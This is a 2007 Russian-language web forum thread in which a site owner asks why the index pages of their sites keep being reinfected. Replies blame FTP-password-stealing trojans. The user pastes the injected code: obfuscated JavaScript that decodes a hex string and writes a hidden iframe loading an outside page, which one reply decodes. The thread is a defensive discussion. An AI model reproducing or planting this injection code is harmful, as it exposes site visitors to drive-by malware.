| |
|
|
| | поймал этот вирус. заражает только индексовую страницу.
каким образом он мог попасть на сайт и как с ним бороться? | |
| |
|
|
| |
|
|
| |
для: seriy2
(07.09.2007 в 13:40)
| | | . | |
| |
|
|
| |
|
|
| |
для: cheops
(07.09.2007 в 13:45)
| | | эээ.... не понял | |
| |
|
|
| |
|
|
| |
для: seriy2
(07.09.2007 в 13:47)
| | | http://www.viruslist.com/ | |
| |
|
|
| |
|
|
| |
для: Trianon
(07.09.2007 в 14:05)
| | | там нет описания этого вируса(
уже несколько дней чищу сайты, но "назавтра" опять та же ерунда... | |
| |
|
|
| |
|
|
| |
для: seriy2
(07.09.2007 в 14:18)
| | | а логи поглядеть?
а пароли поменять? | |
| |
|
|
| |
|
|
| |
для: seriy2
(07.09.2007 в 14:18)
| | | Скорее всего троянец сидит на клиентской машине и тащит FTP-пароли от сайта (как правило, от Total Commander), отправляя их роботу, который идёт по ним и редактирует индексную страницу, добавляя рекламные ссылки для роботов поисковых систем. Нужно чистить машину и менять FTP-пароли на сайт. | |
| |
|
|
| |
|
|
| |
для: cheops
(07.09.2007 в 14:30)
| | | ага, спасибо.
а не подскажите, что сие значит (хотя бы приблизительно):
function v46e10d7dc3aa1(v46e10d7dc88c2){ return(parseInt(v46e10d7dc88c2,16));}function v46e10d7dd7323(v46e10d7ddc14c){ function v46e10d7deaba1 () {var v46e10d7def9c3=2; return v46e10d7def9c3;} var v46e10d7de0f65='';for(v46e10d7de5d8f=0; v46e10d7de5d8f<v46e10d7ddc14c.length; v46e10d7de5d8f+=v46e10d7deaba1()){ v46e10d7de0f65+=(String.fromCharCode(v46e10d7dc3aa1(v46e10d7ddc14c.substr(v46e10d7de5d8f, v46e10d7deaba1()))));}return v46e10d7de0f65;} document.write(v46e10d7dd7323('3C696672616D65206E616D653D273164323 227207372633D27687474703A2F2F766572 796D6F6E6B65792E636F6D2F676F6F662F6 96E6465782E706870272077696474683D31 3436206865696768743D353835207374796 C653D27646973706C61793A6E6F6E65273E 3C2F696672616D653E')); | |
| |
|
|
| |
|
|
| |
для: seriy2
(07.09.2007 в 14:41)
| | | Это JavaScript-код, намеренно, запутанный - в любом случае ничего для вас полезного не делающий :))) | |
| |
|
|
| |
|
|
| |
для: seriy2
(07.09.2007 в 14:41)
| | | Это записывает на стрницу JS-функции и iframe
document.write('<iframe name='1d22' src='http://vfrymonkey.com/goof/index.php' ... далее атрибуты'), а потом паскудит... | |
| |
|
|
